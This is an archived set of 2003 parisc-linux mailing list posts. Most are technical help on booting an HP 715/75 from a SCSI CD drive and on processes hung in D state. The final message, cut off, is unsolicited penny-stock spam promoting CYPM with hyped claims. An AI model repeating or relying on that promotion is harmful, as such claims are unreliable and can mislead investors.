List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20132

Hi Joel,

Just to clarify, this is happening during operation, not bootup. Next time
it happens (probably tomorrow morning) I'll break on serial and try
piminfo - is there anything else useful in there that might be worth
looking at?

I'm using Debian stable, with the 2.2.5-11.5 libc package installed.

Cheers, Steve

On Tue, 18 Nov 2003, Joel Soete wrote:

> Hi Steve,
>
> The toc 'process' don't display anything (excepted may be on lcd). To see
> 'piminfo', you should interupt the boot and collect the 'piminfo' (iirc >
> ser pim).
>
> hth,
>     Joel
>
> PS: btw which glibc is installed on your system?



From - Thu Nov 08 21:30:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: JjDunnjr@aol.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot-up challenges on a 715/75
Date: Tue, 18 Nov 2003 16:31:23 EST
Lines: 99
Approved: news@gmane.org
Message-ID: <1e2.13b31f0d.2cebe9ab@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_1e2.13b31f0d.2cebe9ab_boundary"
X-Trace: ger.gmane.org 1416622972 1670 80.91.229.3 (22 Nov 2014 02:22:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 18 14:31:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imo-d05.mx.aol.com (imo-d05.mx.aol.com [205.188.157.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2217A4840
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Nov 2003 14:31:45 -0700 (MST)
Original-Received: from JjDunnjr@aol.com
	by imo-d05.mx.aol.com (mail_out_v36_r1.1.) id n.1e2.13b31f0d (4446)
	 for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Nov 2003 16:31:23 -0500 (EST)
X-Mailer: 8.0 for Windows sub 6803
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20133

--part1_1e2.13b31f0d.2cebe9ab_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Gentlepersons:
Attempting to install Debian for HPPA on my 715/75 diskless workstation.
Setup includes: 2 2gig Seagate drives, scsi, IDs set at 5 and 6
an external TEAC  CD-R55S, scsi, ID set at 2

1. Interrupt boot process with SEC
2. Get a list of boot devices, as follows:

P0   scsi.6.0 seagate ST32550N
P1   scsi.5.0 seagate ST32171N
P2   scsi 0.0 TEAC cd-R55S

enter P2, where the Debian Official CD Binary-1 HPPA  is located
Message follows:

Failed to Initialize scsi.0.0
ENTRY_INIT status= -4
80000007  00000001  00000000  00000000  00000000  00000000  00000000  
00000000
00000000  00000000  00000000  00000000  00000000  00000000  00000000  
00000000  
00003510  000000FF  FF0003BF 84000007  800100DC  00000000  0025F000  00000400
98080000  00000000  0000D4D8  00000000  000000FF  00000002  00000004  
00000001

Occasiionally, I can get:
ENTRY_INIT status= -7

I have tried several ways to call up this CD-RW.  I have specified the scsi 
address; I have rewritten the PATHs to direct boot up.  All to no avail
It is clear that the 715/75 recognizes the TEAC but does not recognize the 
scsi Address.

any help

Thanks in advance
jack dunn






--part1_1e2.13b31f0d.2cebe9ab_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2 FAMILY=3D"SANSSERIF" FACE=
=3D"Arial" LANG=3D"0">Gentlepersons:<BR>
Attempting to install Debian for HPPA on my 715/75 diskless workstation.<BR>
Setup includes: 2 2gig Seagate drives, scsi, IDs set at 5 and 6<BR>
an external TEAC&nbsp; CD-R55S, scsi, ID set at 2<BR>
<BR>
1. Interrupt boot process with SEC<BR>
2. Get a list of boot devices, as follows:<BR>
<BR>
P0&nbsp;&nbsp; scsi.6.0 seagate ST32550N<BR>
P1&nbsp;&nbsp; scsi.5.0 seagate ST32171N<BR>
P2&nbsp;&nbsp; scsi 0.0 TEAC cd-R55S<BR>
<BR>
enter P2, where the Debian Official CD Binary-1 HPPA&nbsp; is located<BR>
Message follows:<BR>
<BR>
Failed to Initialize scsi.0.0<BR>
ENTRY_INIT status=3D -4<BR>
80000007&nbsp; 00000001&nbsp; 00000000&nbsp; 00000000&nbsp; 00000000&nbsp; 0=
0000000&nbsp; 00000000&nbsp; 00000000<BR>
00000000&nbsp; 00000000&nbsp; 00000000&nbsp; 00000000&nbsp; 00000000&nbsp; 0=
0000000&nbsp; 00000000&nbsp; 00000000&nbsp; <BR>
00003510&nbsp; 000000FF&nbsp; FF0003BF 84000007&nbsp; 800100DC&nbsp; 0000000=
0&nbsp; 0025F000&nbsp; 00000400<BR>
98080000&nbsp; 00000000&nbsp; 0000D4D8&nbsp; 00000000&nbsp; 000000FF&nbsp; 0=
0000002&nbsp; 00000004&nbsp; 00000001<BR>
<BR>
Occasiionally, I can get:<BR>
ENTRY_INIT status=3D -7<BR>
<BR>
I have tried several ways to call up this CD-RW.&nbsp; I have specified the=20=
scsi address; I have rewritten the PATHs to direct boot up.&nbsp; All to no=20=
avail<BR>
It is clear that the 715/75 recognizes the TEAC but does not recognize the s=
csi Address.<BR>
<BR>
any help<BR>
<BR>
Thanks in advance<BR>
jack dunn<BR>
<BR>
<BR>
<BR>
<BR>
<BR>
</FONT></HTML>
--part1_1e2.13b31f0d.2cebe9ab_boundary--


From - Thu Nov 08 21:30:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <lists@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot-up challenges on a 715/75
Date: Tue, 18 Nov 2003 20:38:00 -0400 (AST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311182035020.17277@brain.fop.ns.ca>
References: <1e2.13b31f0d.2cebe9ab@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622972 1677 80.91.229.3 (22 Nov 2014 02:22:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: JjDunnjr@aol.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 18 17:37:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from brain.fop.ns.ca (u135n18.eastlink.ca [24.224.135.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90C1B4840
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Nov 2003 17:37:58 -0700 (MST)
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1AMGM4-0005Na-00; Tue, 18 Nov 2003 20:38:00 -0400
In-Reply-To: <1e2.13b31f0d.2cebe9ab@aol.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20134

On Tue, 18 Nov 2003 JjDunnjr@aol.com wrote:

> Gentlepersons:
> Attempting to install Debian for HPPA on my 715/75 diskless workstation.
> Setup includes: 2 2gig Seagate drives, scsi, IDs set at 5 and 6
> an external TEAC  CD-R55S, scsi, ID set at 2

I believe HP machines use a 512 byte sector CD drives (with the standard
being 2048 byte). I'm not sure off-hand if the TEAC supports 512 byte
sectors. Your best bet may be to borrow a CD off a Sun machine, if you
have access to one.

Alternatively, you might have better luck doing a netboot, which I've used
with success before on a 715/75.

Cheers, Steve


From - Thu Nov 08 21:30:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot-up challenges on a 715/75
Date: Tue, 18 Nov 2003 22:59:36 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20031119055936.GA17873@colo.lackof.org>
References: <1e2.13b31f0d.2cebe9ab@aol.com> <Pine.LNX.4.58.0311182035020.17277@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622972 1679 80.91.229.3 (22 Nov 2014 02:22:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:52 +0000 (UTC)
Cc: JjDunnjr@aol.com, parisc-linux@lists.parisc-linux.org
To: Steve Bromwich <lists@fop.ns.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 18 22:59:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7064A4840
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Nov 2003 22:59:38 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D9EE3298030; Tue, 18 Nov 2003 22:59:37 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 17635-06; Tue, 18 Nov 2003 22:59:37 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 09AE329802E; Tue, 18 Nov 2003 22:59:36 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0311182035020.17277@brain.fop.ns.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20135

On Tue, Nov 18, 2003 at 08:38:00PM -0400, Steve Bromwich wrote:
> I believe HP machines use a 512 byte sector CD drives (with the standard
> being 2048 byte). I'm not sure off-hand if the TEAC supports 512 byte
> sectors. Your best bet may be to borrow a CD off a Sun machine, if you
> have access to one.

I'm only aware of HP using 2k sectors for CD-RO.

I've never heard of 512 byte sectors in a CD Drive.
Is that a feature unique to CD-RW?

Even if that's true, the PARISC firmware expects (or will read) 2k blocks.
I suggest double checking that the CD is burned properly.

> Alternatively, you might have better luck doing a netboot, which I've used
> with success before on a 715/75.

that's a good idea too. "lifimage" files are also available that one
can directly boot from. Follow the "Net Install ISO" link from the
www.parisc-linux.org website.

hth,
grant


From - Thu Nov 08 21:30:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot-up challenges on a 715/75
Date: Wed, 19 Nov 2003 08:31:55 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <20031119073155.GO1037@lug-owl.de>
References: <1e2.13b31f0d.2cebe9ab@aol.com> <Pine.LNX.4.58.0311182035020.17277@brain.fop.ns.ca> <20031119055936.GA17873@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="OAiy6VLsECigG9dy"
X-Trace: ger.gmane.org 1416622973 1946 80.91.229.3 (22 Nov 2014 02:22:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 19 00:31:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id AEB924840
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Nov 2003 00:31:56 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 76A004B459; Wed, 19 Nov 2003 08:31:55 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20031119055936.GA17873@colo.lackof.org>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20136

--OAiy6VLsECigG9dy
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 2003-11-18 22:59:36 -0700, Grant Grundler <grundler@parisc-linux.or=
g>
wrote in message <20031119055936.GA17873@colo.lackof.org>:
> On Tue, Nov 18, 2003 at 08:38:00PM -0400, Steve Bromwich wrote:
> I'm only aware of HP using 2k sectors for CD-RO.
>=20
> I've never heard of 512 byte sectors in a CD Drive.

Most machines !=3D i386 actually want to have 512-Byte/Sector-capable CD
drives. These need to be equipped with appropriate firmware. It's just
because that does fit very well to 512 byte blocks from other storage
devices (like HDDs:).

> Is that a feature unique to CD-RW?

No, it's a (rare) feature ot CD-RO drives, mostly used by MIPS and SUN
machines.

> > Alternatively, you might have better luck doing a netboot, which I've u=
sed
> > with success before on a 715/75.
>=20
> that's a good idea too. "lifimage" files are also available that one

Right. To anybody who's facing non-i386 machines (or even newer i386
machines with net-bootable network cards), I can only suggest to prepare
yourself with a bootserver that does everything you need for you. I've
configured some old box to do that (that is, you need dhcp/bootp, rarp,
tftp, rbootd, NFS and most probably some additional kernel configuration
like "echo 1 > /proc/sys/net/ipv4/ip_no_pmtu_disc" and maybe a more
limited ip_local_port_range due to SGI firmware bugs...).

Netbooting saves lots of time and even eases the task of backing-up your
test boxes if they use nfsroot:)

MfG, JBG (->going away now to play with his vax...)

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--OAiy6VLsECigG9dy
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQE/uxxrHb1edYOZ4bsRAtYGAJ9WmNqCnvodK/BRK7yoNztdoJ8EzwCfR/m7
TLv5PhrhcCc+ZZysklH28Vg=
=4OJx
-----END PGP SIGNATURE-----

--OAiy6VLsECigG9dy--


From - Thu Nov 08 21:30:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot-up challenges on a 715/75
Date: Wed, 19 Nov 2003 08:51:48 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <3FBB2114.9050003@hrzpub.tu-darmstadt.de>
References: <1e2.13b31f0d.2cebe9ab@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622973 1954 80.91.229.3 (22 Nov 2014 02:22:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 19 00:52:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E8DA4840
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Nov 2003 00:52:58 -0700 (MST)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157011159.dialin.heagmedianet.de [213.157.11.159])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.10/8.12.7) with ESMTP id hAJ7pBcH008109
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Nov 2003 08:52:33 +0100
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4.1) Gecko/20031008
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <1e2.13b31f0d.2cebe9ab@aol.com>
X-TUD-HRZ-MailScanner: Found to be clean
X-TUD-HRZ-MailScanner-SpamCheck: not spam, SpamAssassin (Wertung=-2.1,
	benoetigt 5, IN_REP_TO -0.50, QUOTED_EMAIL_TEXT -0.48,
	REFERENCES -0.50, REPLY_WITH_QUOTES -0.50,
	USER_AGENT_MOZILLA_UA 0.00, X_ACCEPT_LANG -0.10)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20137

Hi,
JjDunnjr@aol.com schrieb:

>
> I have tried several ways to call up this CD-RW.  I have specified the 
> scsi address; I have rewritten the PATHs to direct boot up.  All to no 
> avail
> It is clear that the 715/75 recognizes the TEAC but does not recognize 
> the scsi Address.

have you checked whether the external scsi bus is correctly terminated? 
Perhaps that why your machine doesn't recognize the scsi address.
FYI, i have a Plextor cd-drive connected to my 715/100 (internal), which 
works without any problems.

>
> any help
>
> Thanks in advance
> jack dunn

Ruediger



From - Thu Nov 08 21:30:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Processes stuck in D state on 715/100XC with 2.4.22-pa17
Date: Wed, 19 Nov 2003 09:21:29 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <3FB265EC00003DBD@ocpmta3.freegates.net>
References: <Pine.LNX.4.58.0311181432590.11677@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622973 1960 80.91.229.3 (22 Nov 2014 02:22:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Steve Bromwich" <lists@fop.ns.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 19 01:21:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17E604840
	for <parisc-linux@parisc-linux.org>; Wed, 19 Nov 2003 01:21:38 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AMNad-0006s9-00; Wed, 19 Nov 2003 09:21:31 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 19 Nov 2003 09:21:29 +0100
In-Reply-To: <Pine.LNX.4.58.0311181432590.11677@brain.fop.ns.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20138

>-- Original Message --
>From: Steve Bromwich <lists@fop.ns.ca>
>To: Joel Soete <soete.joel@tiscali.be>
>Cc: parisc-linux@parisc-linux.org
>Date: Tue, 18 Nov 2003 14:34:49 -0400 (AST)
>Subject: RE: [parisc-linux] Processes stuck in D state on 715/100XC with
> 2.4.22-pa17
>
>
>Hi Joel,
>
>Just to clarify, this is happening during operation, not bootup. Next time
>it happens (probably tomorrow morning) I'll break on serial and try
>piminfo - is there anything else useful in there that might be worth
>looking at?
>
May be if you can, run hp diag tools?

(I have no clue about 715 model but well running 2.4.22 (and above) on various
b180, b2k, c110, N4000 and i have never encounter such pb?)

>I'm using Debian stable, with the 2.2.5-11.5 libc package installed.

Hmm, may be Carlos could help here, I know that glibc 2.3 need a kernel >
2.4.18  iirc but what is about a kernel 2.4.22? (does 2.4.22 need then glibc
2.3 for user space prgm operate correctly?)

Joel

-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Lenard Goddard" <cbxrsw@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] US STOCK MARKET - CYPM Acquisition - To Compete With DISNEY & PIXAR...fergal
Date: Wed, 19 Nov 2003 20:30:00 +0200
Lines: 208
Approved: news@gmane.org
Message-ID: <voh6vvv$ohf-4w3s79pg67ao5d@22f6rqy>
Reply-To: "Lenard Goddard" <cbxrsw@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="66.A41E1_2A."
X-Trace: ger.gmane.org 1416622974 1966 80.91.229.3 (22 Nov 2014 02:22:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:54 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 19 01:38:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [164.100.11.6])
	by dsl2.external.hp.com (Postfix) with SMTP id E065448A7
	for <parisc-linux@parisc-linux.org>; Wed, 19 Nov 2003 01:38:46 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20139

--66.A41E1_2A.
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

US Stock Market - Stock Profile of the Week

Symbol: CYPM
Market: OTCBB
Sector: 3D Animation


BREAKING NEWS - CYPM Acquires Profitable Joongang Movie Entertainment...CY=
PM To Compete With Pixar & Disney

NEW YORK---PRIMEZONE---Cyper Media, Inc. (OTCBB: CYPM), a 3D animation stu=
dio currently producing ``The 5th Glacial Epoch,'' a 15 million dollar fea=
ture, has acquired Joongang Movie Entertainment Co., Ltd., a producer of a=
nimated content for the world-famous Pokemon series. Joongang is a profita=
ble 13-year-old animation company with more than 60 different clients amon=
g OEM Japanese TV shows, and which also has numerous clients in Europe.

Duk Jin Jang, CEO of Cyper said, ``Cyper will now be able to offer our com=
bined clients traditional 2D along with 3D animation content, enabling the=
 Company to compete profitably with world class animators such as Pixar an=
d Disney.''



STOCK PROFILE OF THE WEEK

We are very excited about our newest stock profile, Cyper Media, Inc. (OTC=
BB: CYPM).  Not only has CYPM received a conditional commitment letter for=
 4 million of the 15 million dollar production budget for its CGI Animatio=
n Feature, "The 5th Glacial Epoch," it has also entered into a commitment =
